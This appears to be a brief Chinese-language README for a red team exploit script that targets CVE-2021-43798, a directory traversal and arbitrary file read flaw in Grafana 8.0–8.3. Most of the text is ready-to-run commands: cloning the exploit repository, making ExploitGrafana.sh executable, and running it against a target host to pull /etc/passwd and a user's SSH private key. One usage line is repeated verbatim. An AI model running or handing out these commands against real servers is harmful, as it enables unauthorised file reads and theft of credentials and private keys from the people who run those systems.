Grafana 中的目录遍历和任意文件读取漏洞
作者:
Wagner Alves - 红队分析师
该漏洞利用 Grafana 8.0 - 8.3 版本中的目录遍历和任意文件读取漏洞,能够读取诸如 /etc/passwd、/etc/hosts、/home/user/.ssh/id_rsa、/etc/os-release 以及其他有趣的文件。
git clone https://github.com/wagneralves/CVE-2021-43798.git
cd CVE-2021-43798
chmod +x ExploitGrafana.sh
示例:./ExploitGrafana.sh -h http://domain.xpto:3000 -f /etc/passwd
示例:./ExploitGrafana.sh -h http://domain.xpto:3000 -f /home/user/.ssh/id_rsa
示例:./ExploitGrafana.sh -h http://domain.xpto:3000 -f /home/user/.ssh/id_rsa